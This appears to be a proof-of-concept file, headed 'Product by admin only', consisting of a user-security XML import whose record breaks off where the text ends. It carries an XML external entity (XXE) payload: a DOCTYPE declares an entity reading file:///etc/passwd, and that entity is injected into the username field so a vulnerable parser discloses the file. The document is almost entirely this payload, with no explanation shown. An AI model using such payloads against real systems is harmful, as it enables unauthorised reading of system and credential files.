Product by admin only

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM
"file:///etc/passwd">]>
<security version="v8">
<users>
<user>
<username>test&xxe;</username>
<password>1</password>
<email>test@test.com</email>
<salt>CAFEBABEEBABEFAC</salt>
<admin>true</admin>
<enabled>true</enabled>
<updatableProfile>true</updatableProfile>
<accountNonExpired>true</accountNonExpired>
<credentialsNonExpired>true</credentialsNonExpired>
<accountNonLocked>true</accountNonLocked>
<realm>internal</realm>